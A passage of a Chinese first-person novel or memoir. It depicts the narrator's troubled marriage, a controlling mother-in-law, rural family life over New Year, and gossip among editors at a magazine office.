我妹妹说:“老头儿不是得了肺气肿了嘛,天天搁家。他看我年纪轻轻的搁家带孩子,他老婆子年纪大了,还得上街卖菜,他觉得我搁家享福了。他就天天找我的茬儿。” 我说:“你搁家带三个孩子,又得洗衣裳,又得烧菜烧饭。你哪里享福的?” 我妹妹说:“老嫲嫲一开始也试过,让我去卖菜,她搁家里。不行!家里这一摊子活儿,她忙不过来。她宁愿去卖菜。她上街卖菜,她往那一坐,什么事儿都不要管了。以后三个小孩儿上学接送辅导还得是我。老嫲嫲不识字,也不会骑电动车。” 我说:“老头儿跟你吵架。你使劲儿跟他吵啊?你气死他。现在哪还有老公公天天找着跟儿媳妇吵架的。” 我妹妹说:“老头子有那么多闺女、闺女婿,比我大恁多,都护着小老头儿,我哪敢跟他吵啊?我又要忙家务,又要忙孩子,老头还找我事儿,我天天被老头子气地哭。” 我说:“大响不向着你吗?” 我妹妹说:“大响没什么用。他从小被他爸妈跟他几个姐给压怕了。他遇事儿一点儿不向着我。反倒是俺老婆婆,还装模作样地安慰安慰我。俺娘们儿俩个从来都没吵过架。” 我说:“她安慰你都是假的。她要是真地心疼你,就会管住小老头儿,让他不要跟你吵架。她看着小老头儿天天找你的事儿,把你气地哭,她心里不知道多高兴呢。” 我妹妹说:“是的,我心里有数。” 我说:“你做好饭自己带着小孩儿吃,你还给老头儿送饭啊?你别管他。” 我妹妹说:“那哪行哎。人家老嫲嫲能愿意啊?她去卖菜,我搁家做饭能不给老头儿吃啊?我就当做好事,替小孩儿行好行善了。” 我说:“恁老婆婆掌握着财政大权,怎么花钱,给谁花钱,都是她说了算。你又不当一分钱的家。她这样也太过分了。你搁家带孩子不花钱啊。你早上给小孩儿买个包子吃吃,也得花钱啊。她给你点钱,你给小孩儿花花也方便啊。” 我妹妹说:“每逢小孩儿生了病,我提出来要给住院,她都不想答应。人家的小孩儿都给报了班儿,学游泳学舞蹈,她什么班儿都不给报,就让我自己搁家里辅导辅导。” 我说:“大响也是的。他挣了钱都给他妈,一分都不给你啊。你都给他生了三个孩子了,他还对你这样?他这哪是跟你一心啊?你不跟他闹的?现在,哪个女人不管钱啊。不上班搁家里带孩子的女人多的是,人家老公挣了钱也都交给她。” 我妹妹说:“都三个孩子了,闹又怎么样。还能离婚啊。比上不足比下有余。人家有的人还没结婚来,有的结婚了还没有孩子来。我比她们还强来。” 两个小女孩没有人问,在沙发上蹦来蹦去。沙发黑地脏地一塌糊涂。老二跑过来缠着我,让我抱。 我把老二抱过来说:“我要好好抱抱老二,老二缺抱。” 老大看着她妹妹被我抱,也眼巴巴地等着我抱,我把老大也一起抱在怀里。一边儿一个。姊妹俩儿在我怀里打闹着。 我说:“两个小丫头儿也可怜的。这么大还是众星捧月抱着搂着的时候。就因为姊妹多,大人都不怎么抱她们了。” 我妹妹说:“到底是亲大姨,亲小孩儿。人家她几个姑来,小孩儿要抱,人家都不抱,嫌脏。” 二丫头特别皮,她像是一只猴子似的在我的身上爬上爬下。等我把小孩儿放下的时候,我才发现,我的原本干干净净的羽绒服上一道道儿的,黑黑的,油光透明了。 我说:“回头我得把我的羽绒服擦擦,否则出不了门儿了。” 我妹妹说:“我就说吧。俺家小孩儿皮,到处爬。人家几个姑都嫌脏,不抱。你这回信了吧?” 过年的时候,我们又回了他家。我准备了一个蓝色的大旅行袋子,把我们的衣服装地满满的。他拿一根绳子勒在他的摩托车后座儿上。 “来!你上来吧!”他说。 我挣扎着想坐上去,可是根本挤不下。 “哎呀!太挤了。”我说,“要不,我还是坐公交车吧。你自己骑摩托车。这样轻松一些。” “行!你到了,在车站附近等我。”他说。 过年了。闲来无事,他的二叔、二婶子,三叔、三婶子,有空儿的时候,都来他家院子里坐坐。他家的屋檐下,摆着一张张条凳,大家一起坐着嗑瓜子、说话。他家的窗台上,放着一个个印着红双喜的小茶杯。里面是他妈妈采摘、炒制的春茶。地上是大家嗑出来的瓜子皮儿。 他窝在房间里看电视,他以老实人自居,知道他的人都知道他老实。他不爱说话。他让我出去,跟他的那些叔叔、婶子说话。他自己像个大姑娘,倚在炕头上看电视。 二婶子家的女儿早就出嫁了,二婶子的儿子在外面做工,小孙女七八岁了,长得甜美可人,名字叫小糖糖。小糖糖的妈妈是个大美人儿,可惜不会说话,说话要“啊啊”地打手势。她看到了我,“啊啊”地跟我打手势,竖起她的大拇指。我知道我不如她漂亮,也不如她会打扮,她朝我竖起大拇指,算是一个善良的女人对新来的妯娌的认可和赞赏。这个妹妹除了不会说话,倒是比一般人都要热情,开朗。她带着她的女儿,用手机放着音乐,跟她女儿一起跳《小苹果》,她比其他人都要健康、欢乐。 三叔家的儿子也来了,他穿着蓝色的羽绒服,黑色的裤子,黑色的运动鞋。那高高的身材,白皙的脸庞,斯斯文文的脸蛋,让我吃了一惊。这漂亮的大男孩看起来像个高中生,没想到是他三叔家的儿子。 “三叔和小婶子是姑表亲。都是小婶子她爹做的主。老头子说的,肥水不流外人田,我要把我闺女给我自己的亲外甥,等我老了好有人给我养老。”他妈妈说。这对表兄妹生下的儿子,就是这个看起来一表人才的小兄弟。这个小兄弟乍看与常人无异,只是听说脑瓜子不太灵敏,不识数,也经不起事儿。 “小兄弟现在干什么?”我问她。 “他现在就在家里,哪有什么事儿。有时候跟着你小叔叔去外头打几天工。他自己不识数,还得人看着他。”他妈妈说。 三婶子不说话,她生的小头小脑,黄脸膛,病病殃殃,几缕焦黄的细细的头发常年飘在两鬓上。她穿着红色的羽绒袄,眯着眼睛,头往前伸着,坐在条凳上。 他妈妈跟三婶子说:“人家民政局的来了,你把头发一散,把唾沫往脸上一抹,你去找救济啊。人家看你跟神经病一样,人家好给你救济啊。她好!听说民政局的来了,把头发梳地光光地,打扮地比平时还好。人家一看,你好着嘛,哪个还给你救济哦。” 三婶子还是木吃木吃地坐着,不吭声。 他妈妈继续说:“我们一起去吃酒,说好了,我们是老年人,没钱,每个人给新娘子二百。到了她,她把红包拿出来,三百!她给人家三百!她是真有钱!人家新娘子知道你是老几?人家也就在席上喊你个婶子!要是平时在大街上遇到你,还以为你是神经病来!” 三婶子还是闷闷地不说话。 我说:“三婶子是个老实人,不爱说话。” 他妈妈说:“老实人!就是对自己家人有点子,对外一点没有办法!” 我说:“黄林军也是老实人,也不爱说话。” “老实人哎!”他妈妈说,“他不像别人,话多!”得,她这是在讽刺我呢。我话多。我倒是希望躲在你儿子的身后,看你儿子雄风满满,去跟人家吞咽吐雾、推杯换盏,我乐得做一个满眼崇拜的娇羞的小女人,可是你儿子不行啊?无论何时、无论何地,他都不怎么讲话,高兴了,“咿呀咿呀哟”地,细声细气地,跟个大姑娘似的,跟人家说两句。不高兴了,一声不吭,偶尔从喉咙里发出一声“嗯”,气若游丝,有气无力。身心一体,他不爱说话,他只是简单地不爱说话吗? 这一年过年的时候,因为气氛好,我俩的感情难得地骤然升温了一下,大年三十儿,我们跟他爸妈一起去镇上赶集买菜的时候,我们破天荒地把手牵在了一起。他妈妈也是难得地看到了,她骤然变地神思恍惚起来。她面色低沉,闷闷不乐,失魂落魄地在各个菜摊子跟前飘荡着。 “小燕要来超市买东西了。我去找小燕了。”她惶惶不安地说。她像风中飘飞的蓬草一样飘进了街头的一家小超市。是的,她仿佛失去了精神支柱一样,是急需另一个精神支柱来支撑她脆弱的心灵的。那一刻,我突然很同情她。 年后,三家老兄弟互相请客吃饭。午饭是十几个冷菜、热菜,菜品也不怎么讲究,有的可能是请外戚吃饭剩下的拼盘。晚上,还是吃剩下的菜,再炒几个素菜来拼盘。饭大多是面条。 三婶子家吃地不同,她给我们吃的是馄饨。三婶子对人实诚。 我说:“三婶子,你给我们吃这么多馄饨,光包就得费不少功夫吧。” 三婶子说:“没事儿,我裹了一冰箱。” 一个晚上,糖糖的奶奶着急忙慌地把糖糖带到黄家来。 “今天晚上,跟买买睡。”她对糖糖说。 “哑巴要来找她。” 糖糖的奶奶跟黄林军他妈妈说。我们一听就明白了,糖糖的爸爸妈妈离婚了。糖糖的奶奶这是怕糖糖被她妈妈找了去。 “去吧。到里间睡觉去吧。买买一会儿就过来。”他妈妈跟小糖糖说。 糖糖已经七八岁了,对她的大奶奶也很熟,没什么抗拒,很听话。 “小糖糖爸妈怎么说离就离了的?”我问他妈妈。 “小糖糖她妈妈一直就想分开住,不想跟她婆婆住在一块儿。小糖糖的爸爸哪有那本事再给她买套房子啊?就这样,哑巴还是得跟她婆婆住在一块儿。哑巴想开着大门外的电灯,二婶子说是招蚊子,怕浪费电,非不让开。婆媳两个人打了起来。你二婶子吧,也是的,你说你跟个哑巴计较什么的。最后小两口儿离婚了。”他妈妈愤愤地说。 小糖糖的妈妈离开了这个村庄,撇下小糖糖,跟着她奶奶。儿、媳离婚,婆婆反正是无所谓,得到了小糖糖的唯一抚养权,重新自由自在地做起她们家唯一的女主人。就是不知道她孤单的儿子和孤苦的孙子到底受不受罪。 “小孩子还是跟着妈妈好啊。”我跟他妈妈说。 “哪能跟着哑巴啊。”我前婆婆说,“哑巴在外头漂的。小糖糖跟着她,会被她带坏的。” “糖糖的爸爸在哪儿呢?”我问他妈妈。 “他,老实人一个,在大城市里修地铁。小糖糖就跟着她爷爷奶奶。眼下,学校里老师布置作业,都是在手机上传达。小糖糖的爸爸不在家,两个老的哪里懂得这些。二婶子托了她亲戚家的一个小男孩儿,来给小糖糖辅导作业。那小伙子也是不上心。再说了,人家小伙子自己家没事啊?他妈妈还得了半身不遂了。他哪有心情来天天给小糖糖辅导作业啊。” 糖糖不声不响地跟着她大奶奶睡了。一宿无话。只是不知道糖糖的妈妈,那个不会说话的哑巴,是怎样着急地寻她的心肝宝贝呢。糖糖的心里,有没有想过她的妈妈?她在奶奶的悉心教导下,也许忘记了自己的妈妈的好,也许不知道想妈妈了吧。如果是那样的话,对于一个只有七八岁的孩子来说,也许是好的。 5.子嗣问题 他说要去检查身体,我那时还刚三十出头,还不着急有子嗣,就稀里糊涂地陪他去。到了市里的医院,我陪着他排队、挂号,穿梭在医院的南楼和北楼之间。我是转向的,我只是跟着他走,我自己并不清楚任何一个科室的坐标。我是后来才知道,等我有了孩子,我才知道,这所医院的儿科很好。也是在后来,我抱着我初生的孩儿,经常来这个医院,并且娴熟地穿梭在南楼和北楼之间。 他去查了精子质量,好像不理想。医生拿着彩色的化验单子给他看。我跟他一起,低头看着那化验单子,那单子上是为数不多的游动的或是死去的小东西。 “成活率只有百分之二十,要想怀孕至少得百分之七十。”医生说,“高血压也影响。” 他同时也去检查了那器官的功能,得出的结果是:器质性炎症囊肿。 他跟我说过,很多年前的一个冬天,单位突然通知他要紧急审稿子,他连夜赶工,坐地太久了,那里面进了风寒,有了炎症。 他开始网购很多药,玉米须,番茄红素,赛尔斗丸——大颗大颗的黑色的药丸子,放在他的小房间。 我说:“光吃药没用,不行,我陪你去做个手术吧。说不定做个手术就好了。” 他说:“不能做手术,万一手术失败了,就彻底拉倒了。” 我说:“你血压不好,以后出去吃饭,他们让你喝酒,你就别喝酒了。你就说,你老婆不让你喝酒。”我满以为我是出于关心他,主动背锅,把责任都揽到自己头上,给他找了一个不错的借口。 哪知,他不满地说:“你算什么!” 是的,在他心目中我不算什么。我既然不算什么,也就说不动他,他凡事不听我的。 我们还是正常过日子。常常,我两手拎着重重的蔬菜水果回家,累地要命,到家了,进了门儿,他看见了,也不伸手接一下。 因为下班以后再烧菜,要等很长的时间。为了让他一下班就可以吃饭,我都是早上买好排骨或是猪肉,中午回家炖。我自己啃着馒头看着锅,中午就把荤菜烧出来。晚上炒个素菜就行了。 晚上,他下班了,看见我在烧菜,一时感觉很是满足,就跳起了舞:左边的腿站立着,右边的大腿频繁地抬起来,双手同时朝下,手指抓握,再松开,嘴里唱着“咿呀哟!咿呀哟!”我那时候还不知道,只觉得他那几下舞蹈有点娘。后来才知道,那分明就是个娘炮。 他让我学着炒菜、做饭,他在客厅坐等,我在厨房里手忙脚乱。有时,锅盖儿“嘭”地掉在地上,有时,铲子“哗啦”掉到地上。他不去帮忙,他大概是听取了他妈妈还是哪个同事的高见,坚持让我一个人干。都说家务活儿,谁干习惯了谁就一直干。 他对食材还要求很严,我那时候不懂得洋韭菜和本韭菜之分,有时候买了洋韭菜,他吃着饭,就告诉我:“要买本韭菜,洋韭菜不好吃!” 我说:“你知道本韭菜,你又不去买。我辛苦买菜,还要被你数落。” 他就说:“不批评你,你怎么进步呢!” 我说:“唉,我天天买菜烧菜,还出力不讨好,跟个老妈子一样。” “你能跟老妈子比?”他义正词严地说,“你比老妈子假远了。要么干,要么不要抱怨。抱怨了等于白干!” 到了他家的时候,我跟他爸爸妈妈说起这事儿。 我说:“每天下班以后,都是我去买菜。他自己不买,还挑三拣四的。嫌我买的是洋韭菜,不是本韭菜了。” 他爸爸还对我的辛苦表示理解:“那有什么好挑的?买什么吃什么吧。” 他妈妈照旧是维护他:“洋韭菜本来就不好吃嘛!”听老太太的语气,是嫌弃我对他的儿子伺候不周了,我没有她会伺候她儿子,所以她言语间充满了对我的不屑和不满。 她妈妈很关心地问他:“早饭怎么吃的?”那语气,好像是她儿子还是个孩子,落在一个晚娘的手里,他的亲生的娘生怕他受到虐待似的。 我说:“我们早上来不及煮粥,都是去单位吃早饭,或是在上班的路上买个包子吃吃。” “那怎么能行啊,你们要自家煮粥啊!”他妈妈说。 “我们习惯了,我们同事都这样。早上着急忙慌地,来不及!”我说。 “那你们不会五点钟就起来煮粥吗?”他妈妈说。 我说:“谁能起那么早啊!太辛苦了,起得太早了受不了!我们起早贪黑地上班,缺乏睡眠,五点钟正是睡得最香的时候,谁想起啊。” “我们那些做工的都五点起!”他妈妈说。我明白他妈妈的意思了,她是想让我五点钟起来给他儿子煮粥呢。也不知道在跟我结婚之前,她儿子是怎么吃的。怎么自从有了老婆,一个工作快二十年的年近四十的男人突然就变得无法自立了。 我就故意跟他说:“你妈妈说要五点起来煮粥,你看,咱们谁五点起来啊!”他也觉得她妈妈对他的偏向太明显,就不吭声了。 他妈妈和颜悦色地说:“做饭都是女人的事,男汉子,哪有干活儿的!你以后说话做事儿都要让着他。” 人都说找个比自己大的,知道心疼自己。可是我找了个比自己大的,不但不疼我,反而跟我耍老资格。生活上,他倚老卖老,让我照顾他。吵起架,他仗着比我大,盛气凌人,以大欺小。 我不知道我是哪里应该让着他,论性别,我是女的,他是男的。论年龄,我是八零后,他是七零后。论工作、论学历,我都胜他一筹。难道不应该是他让着我吗。 晚上,他窝在房间里看电视,我还在外头洗漱。地上,放着一盆他换下来的衣服。我抬腿儿从那盆子上迈过去。 他妈妈说:“男汉子的衣服,女人不能迈过去的。要绕着走。” 他在房间里喊我,要我给他倒杯水。我用我的杯子倒了,端给他。 她妈妈温和地笑着对我说:“你别把你的感冒过给他了。” 可怜天下父母心,他虽然年近四十,但是在他妈妈眼里还是个宝宝啊。我那时候还不知道,他他妈的就是个妈宝啊! 30. 你永远叫不醒一个阳痿跟你生孩子 第三十章 你永远叫不醒一个阳痿跟你生孩子! 1.大咖与菜鸟 舞台上,排练的人大喊:“卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭!” 承蒙任社长的看重,社里每逢举行文艺活动,我都得跟着去彩排。我跟着那几个年轻又有头脑的同事一起,在后台看着他们排练,看着领导上台,看着屋顶上的灯光闪烁。我不喜欢这样的生活,我只想踏踏实实搞好我的专业。对于任社长对我的看重,我不想要了。 我去文印室的时候,跟老栾说:“老栾,任社长让我做什么储备干部,社里有什么文艺晚会,我还要跟着彩排。我是农村人,我根本没这方面的能力,也没那兴趣。我业务上还很忙。再说了,我结婚以后,我家里的事儿也很忙呢。我不想去了,怎么办?” 老栾说:“你赶紧跟任社长说说,辞了吧。没什么意思。都是让你跟在屁股后面干活儿的。说是会升级,轮到你的时候,不知道等到什么时候了。” 我说:“关键,我对这些事儿根本不感兴趣,我不想抛头露面,也不想升官发财。我就想把自己的业务搞好。” 老栾说:“那你就辞了吧。赶紧辞。别跟着他们瞎耽误时间。你是个女的,主要任务是把自己的业务忙好。把家庭照顾好。” 我说:“是的呢。我就是这么想的。” 老栾说:“你跟任社长说的时候,千万要说地委婉一点。不要说是家务忙才不愿意干的。领导不喜欢听这些。他们不会为你着想的。” 我说:“好的。” 那天晚上,我躲在房间里,跟任社长打电话说:“任社长,社里那些文艺活动,我不想参加了,可以吗?我是农村的,没那方面的天赋。我今年负责稿二阶段,都是些文言文,审核校对起来特别吃力。我天天忙那些文艺活动,审核稿件的时间就少了。我怕这样下去,我会把自己的专业给荒废了。我想好好搞搞我的专业。” 任社长很爽快地说:“好的。” 我如释重负,终于可以不用到处抛头露面了。 第三年,到了稿三阶段,任社长给我们开会了。 “我们是三个阶段一个循环。今年负责稿三阶段的人员都是我精心挑选的,个个都是精兵强将。稿三阶段是打攻坚战的时候了。这几年呢,国风文章比较受欢迎。我们这几年主要采编一些关于经典名著的文稿。现如今,四大名著已经进了课堂,甚至进了高考。四大名著在当今社会上是热门的书籍,关于四大名著的文章也深受广大学子和家长的欢迎和推崇,热度比较高,群众的呼声和支持度也居高不下。无论是出于功利还是公益,我们对这一块的采稿和组稿应该是重中之重的事,我们后期也会加大投入,对于四大名著组稿比较多的同志加大奖励。 当然了,我们也不能太偏狭,一些冷门的文学著作也要照顾的到,比如《耳谈类增》。研究四大名著保证我们‘尖’,我们要引领时代的潮流,做时代的先锋,要像箭一样,冲在前头。这样,才能保证我们的杂志有人看,有读者。研究《耳谈类增》呢,保证我们‘全’,我们也要照顾一些少数的人群,他们爱看一些冷门的著作,我们也不能忽略他们。 说实话,我们分派任务呢,也没有一个完全科学的标准。大家的能力都差不多。把热门的分给谁?把冷门的分给谁?我们只能按资格来分。 当然了,好兵还是要跟好将。三本、二本的社长能带一本、二本的编辑,二本的编辑写不出一流的文章。领导能力跟写作能力属于两个完全不同的话语体系。你别看有的人是三本的、甚至是专科的,但是他的管理能力领导能力很强。在管理人才方面,很多一本甚至名牌大学的高材生也不如他。但是,写作能力不一样。它是实打实的跟你自身的学识相匹配的。我现在来把任务分派一下。每个人或是每几个人负责鉴赏一部名著。 杨编辑,你来负责审核有关《红楼梦》的稿子。梁编辑、曹编辑,你们两个来负责有关《西游记》的稿子。徐编辑、吴编辑,你们来负责有关《三国演义》的稿子。刘编辑、王编辑,你们来负责有关《水浒传》的稿子。” 四大名著这等很容易出彩的书籍,被领导分派光了。剩下的是几乎没有人青睐也搞不出什么名堂的《耳谈类增》。 任社长看了看我说:“宋编辑,你来负责关于《耳谈类增》的文稿。我刚才说了,《耳谈类增》也是很重要的。它保证我们的全面。高热度、高产量的名著固然要关注,冷门的古籍也是要照顾的到的嘛。” 我像一个战士接到了命令一样,点头道:“嗯!” 我能说什么,一切在于领导的安排。他把产值高的容易出彩的资源分配给了他们,把无人问津的产值低的资源分配给了我。我研究的是最冷门的《耳谈》,不是炙手可热的四大名著。我这个平时丝毫不比他们差的人,登时就比他们矮了三分。他们被高高地抬了起来,我被低低地按了下去。我从一只雄赳赳气昂昂的老虎,瞬时被打压成了一只丧家之犬。 我是到了这时候才清醒地认识到,到底是我不行,可是除了年龄、除了资历,跟他们比,我到底是哪方面不行? 每次到了稿三阶段的时候,我还是有幸被选入的。只是,每次分配给我的资源都是最差的,如此而已。每当这时,我才充分地认识到我只是一个职场菜鸟。我从一个自认为跟他们平等的人,到被活生生地拔掉羽毛。 领导把不好的资源分配给你的时候,不是出于看不起你,就是出于不信任你,总之,他就是瞧不起你。至于他后来说出的那些言不由衷的纯粹来欺骗你安抚你的话,你就当他纯粹是在放屁。 稿三阶段的人员比稿一阶段、稿二阶段要多出来一倍。大家集中在一个办公室里,人才济济,大咖济济,大师济济,大佬济济。我的灵魂也被压抑地很挤。 在稿一阶段、稿二阶段的时候,我还是活蹦乱跳的喜鹊。到了稿三阶段的时候,我就是一只夹着尾巴小心翼翼的秃尾巴鹌鹑了。很多时候,我把自己埋进自己的羽毛里,不说话。每天,我老老实实地坐着审稿、校稿,把稿子修改了一遍又一遍。这里,聚集了很多元老,有发言权的人太多,百家争鸣,大家都要说,大家抢着说,大佬要说话展示自己的魅力,有人要说话迎合大佬的心意。这里,根本轮不到我说话。 在这样的场合,我没有话语权,我也不想说话,我也不知道该说什么,我确实是除了工作什么都不知道。在这样的场合,说个话还得小心翼翼,得看合不合那些大佬的心意。即便是开个玩笑,还得开地七分熟,拿捏地刚刚好,否则,惹得有些大佬龙颜大怒,你就得吃不了兜着走了。说个话都得拿着捏着,你说难过不难过?何苦来呢?干脆不说了。我除了干活儿,不说一句话,不放一个屁。少说话,多做事,这可是一只无知的菜鸟在职场安身立命的锦囊妙计。 不说话,一天都不说话,这对我来说可真不是什么难事。我也不知道他们怎么有那么多话要说,我也不知道他们在牌桌上吞烟吐雾的时候,或是在餐桌上推杯换盏的时候,怎么还没有说够,还非得来办公室说。我也真地佩服他们怎么知道的那么多。美食、美景,领导的底细、同事的八卦,房价、金价的行情、股票的走向,谁谁离了几次婚,谁谁小时候家里穷地光着腚,谁谁为了上学改过几次姓,谁谁得了痔疮还是癌症,他们怎么什么都知道。我乐地淹没在人群里听他们讲话,我也害怕他们在滔滔不绝唾沫横飞之余,扭动一下他们的尾鳍,将他们的眼睛的雷达,和目光的探照灯,投射到我这里。我不希望成为他们关注的焦点,我害怕自己引起他们八卦的兴趣,我害怕他们把他们热衷于制造八卦和舆论的喉舌对准我这里。 “樊小燕跟李建军离婚了。”杨编辑说。 “怎么离婚的?”刘编辑说。 “李建军在外头又找了一个。”杨编辑说。 “樊小燕没去撕那个小三吗?”刘编辑说。 “樊小燕是个文化人,她还没去撕人家呢,人家就打电话来撕她了。那个女的是东北的,经常打电话来骂樊小燕,樊小燕受不住,索性跟李建军离了。”杨编辑说。 “她儿子怎么办呢?”刘编辑说。 “她儿子樊小燕带着。她儿子不是有自闭症吗,李建军因为这个本来就对他们的婚姻不满意了。”杨编辑说。 “孩子又不是樊小燕一个人的。有什么问题,也应该两个人一起承担啊。李建军真不是东西,不是那会儿他追樊小燕的时候了。”刘编辑说。 “你们都不知道,那时候樊小燕生病,李建军去医院里床前床尾地伺候,要多殷勤有多殷勤。樊小燕不是感动了,也不能嫁给他。”徐编辑从座位上站起来说。他肥硕的两条小腿,带动着他自我感觉良好的中老年男人的屁股和大腿以及油亮的皮鞋,在过道里走动着。他的皮肤很白。我猜想他的浑厚的裤子里包裹着的大腿和屁股跟他自己的脸差不多白,跟黄林军的大腿和屁股差不多白。人类总归是差不多的,无非是食色性、骨肉血,和屎尿屁。 “可是李建军说翻脸就翻脸了。”吴编辑说,“听说这家伙是个‘三姓家奴’,他上学的时候为了复读,借了两个人的学籍,改了两次姓!” “他这个人有本事的,他后来又在外头又找了一个小的,比他小十几岁呢,那女的都怀孕了。”徐编辑说。 “那个女的是干什么的?”刘编辑说。 “她没有工作。李建军在外面开了一个小面馆,让她干着。”徐编辑说。 “李建军这个人鬼点子多的。”徐编辑说,“他点子不多能有这种手段吗?” “樊小燕怎么办呢?她就一个人带着儿子过啊?她后来又找了吗?”吴编辑说。 “听说她后来又找了一个男的,那个男的都住到樊小燕家里去了。”杨编辑说。 “那个男的有孩子吗?”刘编辑说。 “有啊,都是离过婚的。后来因为小孩的事儿,那个男的不喜欢樊小燕的儿子,两个人就闹掰了。”杨编辑说。 “天呢!这种事儿你们是怎么知道的?你们出去可不要说啊。”吴编辑说。 “都是她自己在办公室说的。”杨编辑说。 “樊小燕有多大了?她少说也得有四十了吧?”徐编辑问。 “嗯。她跟我差不多大。”杨编辑说。 “你说,女人到这个岁数了,离婚了,怎么办?樊小燕就拖着儿子一起过啊?”刘编辑说。 “那肯定是啊,至于她再找不找,那就不知道了。”杨编辑说。 “还找什么啊?要是我,我就自己带着孩子过,我才懒地再找。”吴编辑说。 “你是饱汉子不知道饿汉子饥。她也想找,她是不好找。到了这个岁数的,哪个不是拖家带口的。她又带着个儿子,谁敢要她啊。所以你们这些女人啊,要对自己的老公好一点。”徐编辑说。 我想上厕所了,我站起身儿来,徐编辑看看我。他是不是觉得,我应该保持坐着的姿态虔诚地聆听,不要胡乱走动啊。他是不是觉得,我在他滔滔不绝地宣讲的时候起身离去,是对他的大大的不敬啊。 可是,人有三急,我想撒尿,不能不去。 我在徐编辑疑惑的眼神里低头哈腰地走了出去。 等我快速解决完问题回到座位上以后,他们还在沸沸扬扬地继续着刚才的话题。 “人家现在很多人都不愿意结婚了。结婚干嘛啊,找罪受。”刘编辑说。 “是的,像咱们单位,光是大龄剩女就有好几个。你看,夏萍,到现在都没结婚。”杨编辑说。 “人家夏萍家里开厂,要求高的。”吴编辑说。 “夏萍三十好几了吧,快四十了吧?”杨编辑说,“上次我还看到她跟一个男的走在一起呢。不知道是不是她男朋友。” “所以,人家也找的,就是没找到合适的。”徐编辑说。 “世界上那么多男人,都不适合她啊。那她得反思一下是不是她自己有问题。”刘编辑说。 “现在的社会,也不一定是女的有问题,很多男的本身也有问题。你看,中文组新来的清灵,老大不小了,也是没结婚。”徐编辑说。 “清灵刚来的时候,我光听他的名字,还以为他是女的。”刘编辑说。 “他不光名字像是女的嘛,他性格好像也有问题。他到现在还不结婚,是不是不喜欢女的,喜欢男的啊?这不就是同性恋嘛。”乌编辑慢吞吞地说。 乌编辑的话让我心里一惊。乌编辑已经五十多岁,靠六十了,濒临退休的年纪。他在我心目中一向是德高望重的。他有着一张油光发亮的肉红色的脸和看起来还算是很端正的五官。他头上的森林已经不再郁郁葱葱,鼻子里的鼻毛倒是脱颖而出。尽管偶尔能闻到他嘴里散发出来的口臭,但是并不能掩盖他在我心目中的德艺双馨。他有口臭,他的老婆怎么忍受的了的?也许就是看在他诚恳热心的份儿上吧,我常常这样想。何以乌编辑这样的尊长对年轻的清灵如此不手下留情呢? 我又想,得,清灵还刚来,就被《小坛》的人给贴上同性恋的标签了。《小坛》的人的嘴是真毒啊。清灵是中文组新来的,年龄比我小。我觉得他其实很不错,我甚至对他颇有好感。同时,我也笃信,他不是同性恋,他更不会喜欢男人。可是,《小坛》的人非说他是同性恋,由此可见,一个人或是一群人,对另一个人或是一群人的荼毒和扼杀,是有多野蛮多残忍多荒诞。 “欧阳杰跟他老婆怎么样了?”杨编辑问。 “不知道。”刘编辑说,“上次听说他跟他老婆要离婚了,两个人出去旅游了一趟。不知道后来离了没有?” “上次看到樊小燕,我看她都瘦了。”吴编辑说。 “也许是人家故意减肥的呢!人家现在单身,日子过地可滋润了,她的朋友圈里发的那些照片,都是她拍的风景照。自从她离婚以后,她的拍照技术越来越好了。”刘编辑说。 “女的还是不要太瘦。我老婆太瘦了,我上个月带她去医院去做了一下检查。女人要稍稍胖一点才好看。尤其是年纪大了的时候。女人年纪大了,越瘦越显老。”徐编辑说。 “原来你是对你老婆不满意啊?那你再换个呗。”乌编辑说。 “乌编辑,你这话说地不对,徐编辑的老婆那么漂亮。肯定是她对徐编辑不满意。”杨编辑说。 “她哪里是对我不满意,她生怕我不要她来!要不,她怎么每天早上对着镜子,拿着各种小瓶儿,对着自己的脸扇!”徐编辑说完,大家哈哈大笑。 徐编辑神清气爽地走动了起来,他的屁股像是一只戏水的鸭子一样拖在后面,我估摸着那肥硕的大屁股上面还可以坐一个小孩儿。就像一只小鸭子坐在一只大鸭子上。 杨编辑说:“你看你把女人的化妆说成什么了?人家那叫对镜贴花黄!” “都明日黄花了,还对镜贴花黄!”徐编辑笑着说。 “那更得扇自己的脸了。越老越得扇地勤快一点,不然怕老地更快了!”乌编辑说。 “我跟你们说吧,你们抹的那些霜啊膏啊,没什么用。不仅没用,还有副作用。你看古代的妇女用铅粉化妆,用地久了,脸色就黄了,所以叫‘黄脸婆’。化妆品都是有毒的。”徐编辑说。 “用好一点的化妆品就没事。我上次买了一款雅诗兰黛的晚霜,效果就是不一样。”杨编辑说。 “是的,我上次买了一个雅诗兰黛的试装礼盒。很便宜。才二百块钱。”刘编辑说。 “你看你们这些女士,是吧。涂的抹的,都是些民脂民膏。那不都是我们男人的血汗钱吗?”乌编辑说。 “是啊,你说有什么用?回头脸一洗,全都洗掉了!”徐编辑笑着说。 “洗了再涂!涂了再洗!乐此不疲!”乌编辑说。 “不洗掉怎么办?浪费也没办法啊?总不能不洗脸吧?总不能把那洗脸水喝掉吧?”吴编辑狡黠地笑了一下说。 “谁说是你们的血汗钱的?现在哪个女的不上班赚钱啊,我们用的都是自己的钱!谁要是觉得女人用化妆品浪费,那就把自家老婆的洗脸水喝掉!”杨编辑笑着说。 “你们赚的钱归你们,你们老公赚的钱还不是也给你们了!”徐编辑说。 “他老婆看地紧啊。你看他身上有多少钱啊。他老婆都不让他身上留钱。怕他在外面瞎搞。”乌编辑说。 “我不要老婆管,我自觉地把钱交给她。我让她用我的钱,去买那些瓶瓶罐罐,买回家来,我看着她扇自己的脸。”徐编辑说。 “你这是变相报复啊!你每天看着她扇自己的脸,你是不是觉得很解气啊!”杨编辑说。 “那当然!她扇地越响,我越是开心!”徐编辑笑着说,“妈的!我要是在古代,我就找个小的。我来做老爷!男人永远喜欢十八岁!” “你看看,男人有钱就变坏。”杨编辑说,“大省听到了吧?学着点!你家老公把工资卡交给你吧?” 我说:“没有。” “你也没问他要工资卡啊?”杨编辑说。 “没有。我没要,他也没给。他就过段时间给我点菜钱,算是入股,跟我一起买菜。”我说。 “你结婚的时候,你娘家也没教你啊?”杨编辑说。 “没有。我妈妈什么也没问。我那时候也不懂。”我说。 “大省是外地人。没有娘家人撑腰。自己结婚的时候也傻,不知道管钱。那个人年龄又比你大。也不听你的。”杨编辑说,“以后有事跟组里说,组里人就是你的娘家。” “嗯。”我说。 “听说,张小倩死了。”乌编辑说。 我们都惊讶道:“啊,她是怎么死的?” 乌编辑说:“她嘴巴上头不是有一颗痣吗?她老公带她去医院,想点掉的,不想恶化了,没有抢救过来。” 杨编辑问:“他们事先没有想到吗?万一是恶性的?” 